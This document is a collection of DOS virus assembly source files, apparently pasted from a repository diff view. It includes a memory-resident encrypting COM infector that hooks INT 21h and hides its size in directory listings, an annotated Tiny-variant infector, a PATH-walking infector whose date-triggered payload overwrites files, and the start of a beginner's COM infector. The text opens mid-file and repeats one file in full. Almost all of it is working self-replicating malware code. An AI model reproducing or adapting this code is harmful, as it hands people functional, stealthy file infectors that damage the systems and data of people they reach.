;* YAM- Keep up the hard work. Alot of improvement come with time.
;* Admiral Bailey. Waitinf for the next version of the IVP!
;*
;*
;****************************************************************************
seg_a segment
assume cs:seg_a,ds:seg_a,es:nothing
org 100h
start: db 0E9h,06,00,42h,0f2h ; Jump to virus + F242 id string
vstart equ $
key: dw 0 ;encryptor key.
i_key: dw 12cdh ;Interrupt key
call code_start
code_start:
pop si
sub si,offset code_start ;get current infected files size
mov bp,si
crypter:
mov cx,(vend-check)
mov dh,byte ptr cs:[key+bp]
mov si,offset check
add si,bp
loo: mov ah,byte ptr cs:[si] ;Decrypt the virus
xor ah,dh
mov byte ptr cs:[si],ah
inc si
loop loo
code:
mov si,offset check
mov di,offset check
mov cx,(vend-check)
looper: mov ax,[si]
cmp ax,word ptr cs:[i_key+bp] ;Change interrupts back
je change
doit: mov [di],ax
inc si
inc di
loop looper
jmp check
change: mov ax,21cdh
jmp doit
check:
mov ax,0F242h ;Check to see if we are already
int 12h
cmp bx,0F242h ;resident
je Already_here
info: db 0
load: ;Virus Id string so they NAME it
; RIGHT!!!!
push cs
pop ds
mov ah,49h ;Release current Memory block
int 12h
mov ah,48h ;Request Hugh size of memory
mov bx,0ffffh ;returns biggest size
int 12h
mov ah,4ah
sub bx,(vend-vstart+15)/16+(vend-vstart+15)/16+1
jc exit ;subtract virus size
int 12h
mov ah,48h
mov bx,(vend-vstart+15)/16+(vend-vstart+15)/16
int 12h
jc exit ;request last XXX pages
;allocate it to virus
dec ax
push es
mov es,ax
mov byte ptr es:[0],'Z' ;make DOS the owner
mov word ptr es:[1],8
mov word ptr es:[3],(vend-vstart+15)/8 ;put size here
sub word ptr es:[12h],(vend-vstart+15)/8 ;sub size from current
;memory
inc ax
lea si,[bp+offset vstart] ;copy it to new memory block
xor di,di
mov es,ax
mov cx,(vend-vstart+5)/2
cld
rep movsw
xor ax,ax
mov ds,ax
push ds
lds ax,ds:[21h*4] ;swap vectors manually
mov word ptr es:[old_21-vstart],ax
mov word ptr es:[old_21-vstart+2],ds
pop ds
mov word ptr ds:[21h*4],(new_21-vstart)
mov ds:[21h*4+2],es
exit:
already_here:
push cs
pop ds
push cs
pop es
mov si,offset buffer ;Copy five bytes back!
add si,Bp
mov di,100h
movsw
movsw
movsb
mov bp,100h
jmp bp
;***************************************************************************
old_21: dw 0h,0h
buffer db 0cdh,20h,0,0,0 ;Buffer to hold the infected
old_date: dw 0 ;files 5 bytes
old_time: dw 0
jump_add: db 0E9h
db 0,0
db 0F2h,42h
new_21:
cmp ax,0f242h ;Are we going resident?
je SAY_YES
cmp ax,4b00h ;Are we executing?
je exec
cmp ah,11h
je hide_size ;doing a DIR??
cmp ah,12h
je hide_size
jmp do_old
exec: jmp exec2
SAY_YES:mov bx,0f242h
do_old: jmp dword ptr cs:[(old_21-vstart)] ;If not then do old int 21
ret
hide_size:
pushf
push cs
call do_old ;get the current FCB
cmp al,00h
jnz dir_error ;jump if bad FCB
push ax
push bx
push dx
push ds
push es ;undocumented get FCB
mov ah,51h ;location
int 12h
mov es,bx ;get info from FCB
cmp bx,es:[16h]
jnz not_inf
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;get DTA
int 12h
pop ax
inc al ;Check for extended FCB
jnz normal_fcb
add bx,7h
normal_fcb:
mov ax,es:[bx+17h]
and ax,1fh
xor al,01h ;check for 2 seconds
jnz not_inf
and byte ptr es:[bx+17h],0e0h ;subtract virus size
sub es:[bx+1dh],(vend-vstart)
sbb es:[bx+1fh],ax
not_inf:pop es
pop ds
pop dx
pop bx
pop ax
dir_error:
iret
exec2: push ax
push bx
push cx
push dx
push ds
push es
call infect ;Lets infect the file!!
backup: pop es
pop ds
pop dx
pop cx
pop bx
pop ax
jmp do_old ;go back to original load
infect:
mov ax,3d02h
int 12h
jc quit1 ;open the file
mov bx,ax
A_open: push cs
pop ds
mov ax,4200h
xor cx,cx
xor dx,dx ;move file pointer to begining
int 12h ;(FOR LATER MODIFICATION ONLY)
mov ah,3fh
mov cx,5h
mov dx,(buffer-vstart) ;load in the first 5 bytes
int 12h
jc quit1
cmp word ptr cs:[(buffer-vstart)],5A4Dh ;check to see if its an
je quit1 ;EXE
cmp word ptr cs:[(buffer-vstart)+3],42F2h
je quit1
;if so then its infected
jmp qqqq
quit1: jmp quit2
qqqq: mov ax,5700h
int 12h
jc quit1
mov word ptr cs:[(old_time-vstart)],cx ;get the files time
mov word ptr cs:[(old_date-vstart)],dx ;and date
mov ax,4202h
xor cx,cx
xor dx,dx ;put file pointer at end
int 12h
jc quit1
mov cx,ax
sub cx,3 ;write jump lenght to jump buffer
add cx,4
mov word ptr cs:[(jump_add+1-vstart)],cx
mov ah,2ch ;get random number for interrupt
int 12h ;swapping
cmp dh,03h ;don't like INT 3'S (1 byte only not 2)
jne write_key
inc dh
write_key:
mov word ptr cs:[key-vstart],cx ;save encryption key
mov byte ptr cs:[i_key-vstart+1],dh ;save interupt key
mov si,(check-vstart) ;write from check to end
mov di,(vend-vstart)
mov cx,(vend-check)
topper: mov al,byte ptr cs:[(si)]
cmp al,0cdh
je changeit
top2: mov byte ptr cs:[(di)],al
tor: inc si ;this "mutating routine" is kind
inc di ;messy but i'll improve it for version
loop topper ;2.0
jmp crypt
changeit:
mov byte ptr cs:[(di)],al
inc di
inc si
dec cx
mov al,byte ptr cs:[(si)]
cmp al,21h
jne top2
mov byte ptr cs:[(di)],dh
jmp tor
quit: jmp quit2
crypt:
mov cx,(vend-check)
mov dh,byte ptr cs:[key-vstart]
mov si,(vend-vstart)
lop: mov ah,byte ptr cs:[si]
xor ah,dh ;Encrypt the code
mov byte ptr cs:[si],ah
inc si
loop lop
mov cx,(check-vstart)
mov ah,40h ;write decrypting routine
mov dx,(vstart-vstart) ;to file first
int 12h
jc quit
mov cx,(vend-check) ;write the encrypted code
mov ah,40h ; to the end of the file
mov dx,(vend-vstart)
int 12h
jc quit
mov ax,4200h ;move file pointer to the
xor cx,cx ;begining to write the JMP
xor dx,dx
int 12h
mov cx,5
mov ah,40h ;write the JMP top the file
mov dx,(jump_add-vstart)
int 12h
jc quit
mov ax,5701h
mov word ptr cx,cs:[(old_time-vstart)] ;Restore old time,date
mov word ptr dx,cs:[(old_date-vstart)]
and cl,0e0H
inc cl ;change seconds to 2
int 12h
mov ah,3eh
int 12h
quit2: ret
vend equ $
nop
nop
seg_a ends
end start
;WELL THATS IT.
If ya have any questions feel free to contact me on -=+ FRONT 242 +=- (CANADA)

View File

@ -0,0 +1,416 @@
;****************************************************************************
;* The Mutating Interrupt Virus -Soltan Griss-
;* [RABID] -=+ Front 242 +=-
;*
;*
;* Well this is my Third Release of many to come. This virus uses the latest
;* of RABID's new inventions the "MUTATING INTERRUPT", what it does (nothing
;* to special) is Mutate all int 21h (CD 21) to a random interrupt.
;* Then before executation it will change it back to INT 21.
;*
;* Alot of people are wondering if RABID is Still around. YES. Wea reback and
;* Kicking, although right now we have limited members, it soon will change.
;*
;*
;* Many Thanks go out to Data Disruptor, who originally came up with the
;* interrupt swapping idea.
;*
;*
;* SOON TO COME: Why use conventional memory when do has left so many holes??
;* Find out soon in one of our next RELEASES.
;*
;* A Real Mutating virus with moveable modular segments!!<G>!
;*
;*
;*
;* A Word of thanks go out to.
;*
;* YAM- Keep up the hard work. Alot of improvement come with time.
;* Admiral Bailey. Waitinf for the next version of the IVP!
;*
;*
;****************************************************************************
seg_a segment
assume cs:seg_a,ds:seg_a,es:nothing
org 100h
start: db 0E9h,06,00,42h,0f2h ; Jump to virus + F242 id string
vstart equ $
key: dw 0 ;encryptor key.
i_key: dw 12cdh ;Interrupt key
call code_start
code_start:
pop si
sub si,offset code_start ;get current infected files size
mov bp,si
crypter:
mov cx,(vend-check)
mov dh,byte ptr cs:[key+bp]
mov si,offset check
add si,bp
loo: mov ah,byte ptr cs:[si] ;Decrypt the virus
xor ah,dh
mov byte ptr cs:[si],ah
inc si
loop loo
code:
mov si,offset check
mov di,offset check
mov cx,(vend-check)
looper: mov ax,[si]
cmp ax,word ptr cs:[i_key+bp] ;Change interrupts back
je change
doit: mov [di],ax
inc si
inc di
loop looper
jmp check
change: mov ax,21cdh
jmp doit
info: db 'The Mutating Interrupt Virus '
db 'RABID`S Back and Kicking in `93 -Soltan Griss-'
check:
mov ax,0F242h ;Check to see if we are already
int 12h
cmp bx,0F242h ;resident
je Already_here
load: ;Virus Id string so they NAME it
; RIGHT!!!!
push cs
pop ds
mov ah,49h ;Release current Memory block
int 12h
mov ah,48h ;Request Hugh size of memory
mov bx,0ffffh ;returns biggest size
int 12h
mov ah,4ah
sub bx,(vend-vstart+15)/16+(vend-vstart+15)/16+1
jc exit ;subtract virus size
int 12h
mov ah,48h
mov bx,(vend-vstart+15)/16+(vend-vstart+15)/16
int 12h
jc exit ;request last XXX pages
;allocate it to virus
dec ax
push es
mov es,ax
mov byte ptr es:[0],'Z' ;make DOS the owner
mov word ptr es:[1],8
mov word ptr es:[3],(vend-vstart+15)/8 ;put size here
sub word ptr es:[12h],(vend-vstart+15)/8 ;sub size from current
;memory
inc ax
lea si,[bp+offset vstart] ;copy it to new memory block
xor di,di
mov es,ax
mov cx,(vend-vstart+5)/2
cld
rep movsw
xor ax,ax
mov ds,ax
push ds
lds ax,ds:[21h*4] ;swap vectors manually
mov word ptr es:[old_21-vstart],ax
mov word ptr es:[old_21-vstart+2],ds
pop ds
mov word ptr ds:[21h*4],(new_21-vstart)
mov ds:[21h*4+2],es
exit:
already_here:
push cs
pop ds
push cs
pop es
mov si,offset buffer ;Copy five bytes back!
add si,Bp
mov di,100h
movsw
movsw
movsb
mov bp,100h
jmp bp
;***************************************************************************
old_21: dw 0h,0h
buffer db 0cdh,20h,0,0,0 ;Buffer to hold the infected
old_date: dw 0 ;files 5 bytes
old_time: dw 0
jump_add: db 0E9h
db 0,0
db 0F2h,42h
new_21:
cmp ax,0f242h ;Are we going resident?
je SAY_YES
cmp ax,4b00h ;Are we executing?
je exec
cmp ah,11h
je hide_size ;doing a DIR??
cmp ah,12h
je hide_size
jmp do_old
exec: jmp exec2
SAY_YES:mov bx,0f242h
do_old: jmp dword ptr cs:[(old_21-vstart)] ;If not then do old int 21
ret
hide_size:
pushf
push cs
call do_old ;get the current FCB
cmp al,00h
jnz dir_error ;jump if bad FCB
push ax
push bx
push dx
push ds
push es ;undocumented get FCB
mov ah,51h ;location
int 12h
mov es,bx ;get info from FCB
cmp bx,es:[16h]
jnz not_inf
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;get DTA
int 12h
pop ax
inc al ;Check for extended FCB
jnz normal_fcb
add bx,7h
normal_fcb:
mov ax,es:[bx+17h]
and ax,1fh
xor al,01h ;check for 2 seconds
jnz not_inf
and byte ptr es:[bx+17h],0e0h ;subtract virus size
sub es:[bx+1dh],(vend-vstart)
sbb es:[bx+1fh],ax
not_inf:pop es
pop ds
pop dx
pop bx
pop ax
dir_error:
iret
exec2: push ax
push bx
push cx
push dx
push ds
push es
call infect ;Lets infect the file!!
backup: pop es
pop ds
pop dx
pop cx
pop bx
pop ax
jmp do_old ;go back to original load
infect:
mov ax,3d02h
int 12h
jc quit1 ;open the file
mov bx,ax
A_open: push cs
pop ds
mov ax,4200h
xor cx,cx
xor dx,dx ;move file pointer to begining
int 12h ;(FOR LATER MODIFICATION ONLY)
mov ah,3fh
mov cx,5h
mov dx,(buffer-vstart) ;load in the first 5 bytes
int 12h
jc quit1
cmp word ptr cs:[(buffer-vstart)],5A4Dh ;check to see if its an
je quit1 ;EXE
cmp word ptr cs:[(buffer-vstart)+3],42F2h
je quit1
;if so then its infected
jmp qqqq
quit1: jmp quit2
qqqq: mov ax,5700h
int 12h
jc quit1
mov word ptr cs:[(old_time-vstart)],cx ;get the files time
mov word ptr cs:[(old_date-vstart)],dx ;and date
mov ax,4202h
xor cx,cx
xor dx,dx ;put file pointer at end
int 12h
jc quit1
mov cx,ax
sub cx,3 ;write jump lenght to jump buffer
add cx,4
mov word ptr cs:[(jump_add+1-vstart)],cx
mov ah,2ch ;get random number for interrupt
int 12h ;swapping
cmp dh,03h ;don't like INT 3'S (1 byte only not 2)
jne write_key
inc dh
write_key:
mov word ptr cs:[key-vstart],cx ;save encryption key
mov byte ptr cs:[i_key-vstart+1],dh ;save interupt key
mov si,(check-vstart) ;write from check to end
mov di,(vend-vstart)
mov cx,(vend-check)
topper: mov al,byte ptr cs:[(si)]
cmp al,0cdh
je changeit
top2: mov byte ptr cs:[(di)],al
tor: inc si ;this "mutating routine" is kind
inc di ;messy but i'll improve it for version
loop topper ;2.0
jmp crypt
changeit:
mov byte ptr cs:[(di)],al
inc di
inc si
dec cx
mov al,byte ptr cs:[(si)]
cmp al,21h
jne top2
mov byte ptr cs:[(di)],dh
jmp tor
quit: jmp quit2
crypt:
mov cx,(vend-check)
mov dh,byte ptr cs:[key-vstart]
mov si,(vend-vstart)
lop: mov ah,byte ptr cs:[si]
xor ah,dh ;Encrypt the code
mov byte ptr cs:[si],ah
inc si
loop lop
mov cx,(check-vstart)
mov ah,40h ;write decrypting routine
mov dx,(vstart-vstart) ;to file first
int 12h
jc quit
mov cx,(vend-check) ;write the encrypted code
mov ah,40h ; to the end of the file
mov dx,(vend-vstart)
int 12h
jc quit
mov ax,4200h ;move file pointer to the
xor cx,cx ;begining to write the JMP
xor dx,dx
int 12h
mov cx,5
mov ah,40h ;write the JMP top the file
mov dx,(jump_add-vstart)
int 12h
jc quit
mov ax,5701h
mov word ptr cx,cs:[(old_time-vstart)] ;Restore old time,date
mov word ptr dx,cs:[(old_date-vstart)]
and cl,0e0H
inc cl ;change seconds to 2
int 12h
mov ah,3eh
int 12h
quit2: ret
vend equ $
nop
nop
seg_a ends
end start
;WELL THATS IT.
If ya have any questions feel free to contact me on -=+ FRONT 242 +=- (CANADA)

View File

@ -0,0 +1,251 @@
muttiny segment byte public
assume cs:muttiny, ds:muttiny
org 100h
start: db 0e9h, 5, 0 ; jmp startvir
restorehere: int 20h
idword: dw 990h
; The next line is incredibly pointless. It is a holdover from one
; of the original TINYs, where the id was 7, 8, 9. The author can
; easily save one byte merely by deleting this line.
db 09h
startvir:
call oldtrick ; Standard location-finder
oldtrick: pop si
; The following statement is a bug -- well, not really a bug, just
; extraneous code. The value pushed on the stack in the following
; line is NEVER popped off. This is messy programming, as one byte
; could be saved by removing the statement.
push si
sub si,offset oldtrick
call encrypt ; Decrypt virus
call savepsp ; and save the PSP
; NOTE: The entire savepsp/restorepsp procedures are unnecessary.
; See the procedures at the end for further details.
jmp short findencryptval ; Go to the rest of the virus
; The next line is another example of messy programming -- it is a
; NOP inserted by MASM during assembly. Running this file through
; TASM with the /m2 switch should eliminate such "fix-ups."
nop
; The next line leaves me guessing as to the author's true intent.
db 0
encryptval dw 0h
encrypt:
push bx ; Save handle
; The following two lines of code could be condensed into one:
; lea bx, [si+offset startencrypt]
; Once again, poor programming style, though there's nothing wrong
; with the code.
mov bx,offset startencrypt
add bx,si
; Continueencrypt is implemented as a jmp-type loop. Although it's
; fine to code it this way, it's probably easier to code using the
; loop statement. Upon close inspection, one finds the loop to be
; flawed. Note the single inc bx statement. This essentially makes
; the encryption value a a byte instead of a word, which decreases
; the number of mutations from 65,535 to 255. Once again, this is
; just poor programming, very easily rectified with another inc bx
; statement. Another optimization could be made. Use a
; mov dx, [si+encryptval]
; to load up the encryption value before the loop, and replace the
; three lines following continueencrypt with a simple:
; xor word ptr [bx], dx
continueencrypt:
mov ax,[bx]
xor ax,word ptr [si+encryptval]
mov [bx],ax
inc bx
; The next two lines should be executed BEFORE continueencrypt. As
; it stands right now, they are recalculated every iteration which
; slows down execution somewhat. Furthermore, the value calculated
; is much too large and this increases execution time. Yet another
; improvement would be the merging of the mov/add pair to the much
; cleaner lea cx, [si+offset endvirus].
mov cx,offset veryend ; Calculate end of
add cx,si ; encryption: Note
cmp bx,cx ; the value is 246
jle continueencrypt ; bytes too large.
pop bx
ret
writerest: ; Tack on the virus to the
call encrypt ; end of the file.
mov ah,40h
mov cx,offset endvirus - offset idword
lea dx,[si+offset idword] ; Write starting from the id
int 21h ; word
call encrypt
ret
startencrypt:
; This is where the encrypted area begins. This could be moved to
; where the ret is in procedure writerest, but it is not necessary
; since it won't affect the "scannability" of the virus.
findencryptval:
mov ah,2Ch ; Get random #
int 21h ; CX=hr/min dx=sec
; The following chunk of code puzzles me. I admit it, I am totally
; lost as to its purpose.
cmp word ptr [si+offset encryptval],0
je step_two
cmp word ptr [si+offset encryptval+1],0
je step_two
cmp dh,0Fh
jle foundencryptionvalue
step_two: ; Check to see if any
cmp dl,0 ; part of the encryption
je findencryptval ; value is 0 and if so,
cmp dh,0 ; find another value.
je findencryptval
mov [si+offset encryptval],dx
foundencryptionvalue:
mov bp,[si+offset oldjmp] ; Set up bp for
add bp,103h ; jmp later
lea dx,[si+filemask] ; '*.COM',0
xor cx,cx ; Attributes
mov ah,4Eh ; Find first
tryanother:
int 21h
jc quit_virus ; If none found, exit
mov ax,3D02h ; Open read/write
mov dx,9Eh ; In default DTA
int 21h
mov cx,3
mov bx,ax ; Swap file handle register
lea dx,[si+offset buffer]
mov di,dx
call read ; Read 3 bytes
cmp byte ptr [di],0E9h ; Is it a jmp?
je infect
findnext:
mov ah,4Fh ; If not, find next
jmp short tryanother
infect:
mov ax,4200h ; Move file pointer
mov dx,[di+1] ; to jmp location
mov [si+offset oldjmp],dx ; and save old jmp
xor cx,cx ; location
call int21h
jmp short skipcheckinf
; Once again, we meet an infamous MASM-NOP.
nop
; I don't understand why checkinf is implemented as a procedure as
; it is executed but once. It is a waste of code space to do such
; a thing. The ret and call are both extra, wasting four bytes. An
; additional three bytes were wasted on the JMP skipping checkinf.
; In a program called "Tiny," a wasted seven bytes is rather large
; and should not exist. I have written a virus of half the length
; of this virus which is a generic COM infector. There is just too
; too much waste in this program.
checkinf:
cmp word ptr [di],990h ; Is it already
je findnext ; infected?
; The je statement above presents another problem. It leaves stuff
; on the stack from the call. This is, once again, not a critical
; error but nevertheless it is extremely sloppy behavior.
xor dx,dx
xor cx,cx
mov ax,4202h
call int21h ; Goto end of file
ret
skipcheckinf:
mov cx,2
mov dx,di
call read ; read 2 bytes
call checkinf
; The next check is extraneous. No COM file is larger than 65,535
; bytes before infection simply because it is "illegal." Yet ano-
; ther waste of code. Even if one were to use this useless check,
; it should be implemented, to save space, as or dx, dx.
cmp dx,0 ; Check if too big
jne findnext
cmp ah,0FEh ; Check again if too big
jae findnext
mov [si+storejmp],ax ; Save new jmp
call writerest ; location
mov ax,4200h ; Go to offset
mov dx,1 ; 1 in the file
xor cx,cx
call int21h
mov ah,40h ; and write the new
mov cx,2 ; jmp location
lea dx,[si+storejmp]
call int21h
; I think it is quite obvious that the next line is pointless. It
; is a truly moronic waste of two bytes.
jc closefile
closefile:
mov ah,3Eh ; Close the file
call int21h
quit_virus:
call restorepsp
jmp bp
read:
mov ah,3Fh ; Read file
; I do not understand why all the int 21h calls are done with this
; procedure. It is a waste of space. A normal int 21h call is two
; bytes long while it's three bytes just to call this procedure!
int21h:
int 21h
ret
db 'Made in England'
; Note: The comments for savepsp also apply to restorepsp.
; This code could have easily been changed to a set active DTA INT
; 21h call (AH = 1Ah). It would have saved many, many bytes.
savepsp:
mov di,0
; The following is a bug. It should be
; mov cx, 50h
; since the author decided to use words instead of bytes.
mov cx,100h
push si
; The loop below is dumb. A simple rep movsw statement would have
; sufficed. Instead, countless bytes are wasted on the loop.
storebytes:
mov ax,[di]
mov word ptr [si+pspstore],ax
add si,2
add di,2
loop storebytes
pop si
ret
restorepsp:
mov di,0
mov cx,100h ; Restore 200h bytes
push si
restorebytes:
mov ax,word ptr [si+pspstore]
mov [di],ax
add si,2
add di,2
loop restorebytes
pop si
ret
oldjmp dw 0
filemask db '*.COM',0
idontknow1 db 66h ; Waste of one byte
buffer db 00h, 00h, 01h ; Waste of three bytes
storejmp dw 0 ; Waste of two bytes
; endvirus should be before idontknow1, thereby saving six bytes.
endvirus:
idontknow2 db ?, ?
pspstore db 200 dup (?) ; Should actually be
idontknow3 db 2ch dup (?) ; 100h bytes long.
veryend: ; End of encryption
muttiny ends
end start

View File

@ -0,0 +1,402 @@
; this code ataches to all .com files in the current dir then the path then
; the root dir then on 9-16 it does things to the same files.
; it set's them to 10:00am 9-16-91 and set's the file size to
; how many years since that date basically your harmless little
; iritating virus mostly getting at the little utilites in the path..
; and eventually command.com based originally on violator strain b
; ( which is a nasty one formats randomly) it has no name
; name it what you will...
; change fspec_ to '*.COM' to make it work.. set in test mode right now..
CODE SEGMENT
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
ORG $+0100H ; Set ORG to 100H plus our own
VCODE: JMP virus
NOP
NOP
NOP
NOP ;15 NOP's to place JMP Header
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
v_start equ $
virus: PUSH CX
MOV DX,OFFSET vir_dat
CLD
NOP
MOV SI,DX ; setup the data to write out
ADD SI,first_3
MOV CX,4
MOV DI,OFFSET 100H
REPZ MOVSB
MOV SI,DX
PUSH ES
MOV AH,2FH ; get DTA
INT 21H ; save old dta
NOP
MOV [SI+old_dta],BX
MOV [SI+old_dts],ES
POP ES
MOV DX,dta ; DX = our DTA
ADD DX,SI
MOV AH,1AH ;set DTA address
INT 21H
NOP
PUSH ES
PUSH SI
MOV ES,DS:2CH
XOR DI,DI ; zero DI
MOV AH,2AH ;Get date info
INT 21h ;Call DOS
CMP DH,9 ;Check to see if it is the right month
NOP
JE day_check ;If equal, check day
JMP find_Path ;if not, go on with infection
day_check:
CMP DL,16 ;Check to see if today is the day
JE Set_Delete ;If yes, then check day of week
JMP find_Path ;If not, then go on with infection
Set_Delete:
SUB CX,7C7H ; figure file size
MOV [SI+B_day],CX
MOV AL,1
MOV [SI+del_f],AL ; set del flag
find_path:
POP SI
PUSH SI ;clear SI
ADD SI,env_str ; env string in SI
NOP
LODSB ; load byte into AL
MOV CX,OFFSET 8000H
REPNZ SCASB ; do this 128 or 32768 skip 128?
MOV CX,4
check_next_4: ; load byte into AL
LODSB ; four times
SCASB
;
; The JNZ line specifies that if there is no PATH present, then we will go
; along and infect the ROOT directory on the default drive.
;
JNZ find_path ;If not path, then go to ROOT dir
LOOP check_next_4 ;Go back and check for more chars
POP SI ;Load in PATH again to look for chars
POP ES
MOV [SI+path_ad],DI
MOV DI,SI
ADD DI,wrk_spc ;Put the filename in wrk_spc
MOV BX,SI
ADD SI,wrk_spc
MOV DI,SI
JMP SHORT slash_ok
set_subdir:
CMP WORD PTR [SI+path_ad],0
JNZ found_subdir
JMP all_done
found_subdir:
PUSH DS
PUSH SI
MOV DS,ES:2CH
MOV DI,SI
MOV SI,ES:[DI+path_ad]
ADD DI,wrk_spc ;DI is the file name to infect! (hehe)
move_subdir:
LODSB ;To tedious work to move into subdir
CMP AL,';' ;Does it end with a ; charachter?
JZ moved_one ;if yes, then we found a subdir
CMP AL,0 ;is it the end of the path?
JZ moved_last_one ;if yes, then we save the PATH
STOSB ;marker into DI for future reference
JMP SHORT move_subdir
moved_last_one:
MOV SI,0
moved_one:
POP BX ;BX is where the virus data is
POP DS ;Restore DS so that we can do stuph
MOV [BX+path_ad],SI ;Where is the next subdir?
NOP
CMP CH,'\' ;Check to see if it ends in \
JZ slash_ok ;If yes, then it's OK
MOV AL,'\' ;if not, then add one...
STOSB ;store the sucker
slash_ok:
MOV [BX+nam_ptr],DI ;Move the filename into workspace
MOV SI,BX ;Restore the original SI value
ADD SI,f_spec ;Point to COM file victim
MOV CX,6
REPZ MOVSB ;Move victim into workspace
NOP
MOV SI,BX
MOV AH,4EH ; find first again?
MOV DX,wrk_spc ; file name
ADD DX,SI ; DX is ... THE VICTIM!!!
MOV CX,3 ; Attributes of Read Only or Hidden OK
INT 21H
NOP
JMP SHORT find_first
find_next:
MOV AH,4FH ; find next file
INT 21H
find_first:
JNB found_file ;Jump if we found it
JMP SHORT set_subdir ;Otherwise, get another subdirectory
found_file:
MOV AX,[SI+dta_tim] ;Get time from DTA
AND AL,1EH ;Mask to remove all but seconds
CMP AL,1EH ;60 seconds
NOP
JZ check_day
JMP go_on
check_day:
XOR AL,AL
CMP AL,[SI+del_f]
JE find_next
go_on:
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;to big 64k?
JA find_next ;If too long, find another one
CMP WORD PTR [SI+dta_len],0AH ;too small 10bytes?
JB find_next ;Then go find another one
NOP
MOV DI,[SI+nam_ptr]
PUSH SI
ADD SI,dta_nam
more_chars:
LODSB
STOSB
CMP AL,0
JNZ more_chars
POP SI
MOV AX,OFFSET 4300H ;get file attr
MOV DX,wrk_spc
ADD DX,SI
INT 21H
NOP
MOV [SI+old_attr],CX ; save file attr
MOV AX,OFFSET 4301H ; set file attr
AND CX,OFFSET 0FFFEH ; set file attr to 11111110B
; MOV DX,wrk_spc
; ADD DX,SI
INT 21H
check_delete:
XOR AL,AL
CMP AL,[SI+del_f]
JE open
create:
MOV AX,OFFSET 3C00H ;create nornal file
; MOV DX,wrk_spc ;
; ADD DX,SI ;
INT 21H
NOP
MOV BX,AX
MOV CX,[SI+b_day]
MOV AH,40H
INT 21H
NOP
MOV AX,OFFSET 5701H ;Set Date Time
MOV CX,05000H ;Time 10:00am
MOV DX,01730H ;Date 9-16-91
INT 21H
NOP
JMP Fix_attr
open:
MOV AX,OFFSET 3D02H ; open read/write
; MOV DX,wrk_spc ;
; ADD DX,SI ;
INT 21H
JNB Get_td
JMP fix_attr
Get_td:
MOV BX,AX ; AX is the file handle
MOV AX,OFFSET 5700H ;get date time
INT 21H
NOP
MOV [SI+old_tim],CX ;Save file time
MOV [SI+ol_date],DX ;Save the date
; MOV AH,2CH ; get system time?
; INT 21H
; AND DH,7
XOR AL,AL ; should i infect or just get out
CMP AL,[SI+del_f]
JE infect
jmp fix_attr
infect:
MOV AH,3FH ; read file
MOV CX,3 ; three chars
MOV DX,first_3 ; put those three on first_3
ADD DX,SI
INT 21H ;Save first 3 bytes into the data area
NOP
JB fix_time_stamp ; can't read go here
CMP AX,3 ;is ax 3?
JNZ fix_time_stamp ;if three wern't read go here
MOV AX,OFFSET 4202H ; move file pointer offset from end
XOR CX,CX ; 0 chars
XOR DX,DX ; data buffer
INT 21H ; read file
JB fix_time_stamp ; can't read go here
MOV CX,AX ; mov the error code into CX
SUB AX,3 ; subtract ax from 3?
MOV [SI+jmp_dsp],AX ; 0
ADD CX,OFFSET c_len_y ; 100H more that codelen
MOV DI,SI
SUB DI,OFFSET c_len_x ; two less that codelen
MOV [DI],CX
MOV AH,40H ;Write file
MOV CX,virlen
MOV DX,SI
SUB DX,OFFSET codelen
INT 21H ;Write file
JB fix_time_stamp
CMP AX,OFFSET virlen
NOP
JNZ fix_time_stamp
MOV AX,OFFSET 4200H ;move file poniter to begin
XOR CX,CX
XOR DX,DX
INT 21H ;Write file
JB fix_time_stamp
MOV AH,40H ;Write file
MOV CX,3
MOV DX,SI
ADD DX,jmp_op ; write jmp to us at beginging
INT 21H ;Write file
fix_time_stamp:
MOV DX,[SI+ol_date]
MOV CX,[SI+old_tim]
AND CX,OFFSET 0FFE0H ; mask hours and mins?
OR CX,1EH ; 60 seconds
MOV AX,OFFSET 5701H ;set date time
INT 21H
MOV AH,3EH ; close file
INT 21H
fix_attr:
MOV AX,OFFSET 4301H ;set file attr
MOV CX,[SI+old_attr]
MOV DX,wrk_spc
ADD DX,SI
INT 21H
all_done:
PUSH DS
MOV AH,1AH ; set DTA address
MOV DX,[SI+old_dta]
MOV DS,[SI+old_dts]
INT 21H
POP DS
quit:
POP CX
XOR AX,AX ;XOR values so that we will give the
XOR BX,BX ;poor sucker a hard time trying to
XOR DX,DX ;reassemble the source code if he
XOR SI,SI ;decides to dissassemble us.
MOV DI,OFFSET 0100H
PUSH DI
XOR DI,DI
RET 0FFFFH ;Return back to the beginning
;of the program
vir_dat EQU $
olddta_ DW 0
olddts_ DW 0
oldtim_ DW 0
oldate_ DW 0
oldattr_ DW 0
first3_ EQU $
NOP
INT 20H
NOP
jmpop_ DB 0E9H
jmpdsp_ DW 0
fspec_ DB '*.$@$',0 ; change to *.COM to make it work
pathad_ DW 0
namptr_ DW 0
envstr_ DB 'PATH='
wrkspc_ DB 40h dup (0)
dta_ DB 16h dup (0)
dtatim_ DW 0,0
dtalen_ DW 0,0
dtanam_ DB 0Dh dup (0)
delf_ DB 0
BDay_ DB 0
lst_byt EQU $
virlen = lst_byt - v_start
codelen = vir_dat - v_start
c_len_x = vir_dat - v_start - 2
c_len_y = vir_dat - v_start + 100H
old_dta = olddta_ - vir_dat
old_dts = olddts_ - vir_dat
old_tim = oldtim_ - vir_dat
ol_date = oldate_ - vir_dat
old_attr = oldattr_ - vir_dat
first_3 = first3_ - vir_dat
jmp_op = jmpop_ - vir_dat
jmp_dsp = jmpdsp_ - vir_dat
f_spec = fspec_ - vir_dat
path_ad = pathad_ - vir_dat
nam_ptr = namptr_ - vir_dat
env_str = envstr_ - vir_dat
wrk_spc = wrkspc_ - vir_dat
dta = dta_ - vir_dat
dta_tim = dtatim_ - vir_dat
dta_len = dtalen_ - vir_dat
dta_nam = dtanam_ - vir_dat
del_f = delf_ - vir_dat
B_Day = bday_ - vir_dat
CODE ENDS
END VCODE


View File

@ -0,0 +1,187 @@
;******************************************************************
;* *
;* My First Virus, a simple non-overwriting COM infector *
;* *
;* by, Solomon *
;* *
;******************************************************************
.model tiny ; Memory model
.code ; Start Code
org 100h ; Start of COM file
MAIN: db 0e9h,00h,00h ; Jmp START_VIRUS
START_VIRUS proc near ; Real start of Virus
call FIND_OFFSET
; Calculate change in offset from host program.
FIND_OFFSET: pop bp ; BP holds current IP
sub bp, offset FIND_OFFSET ; Calculate net change
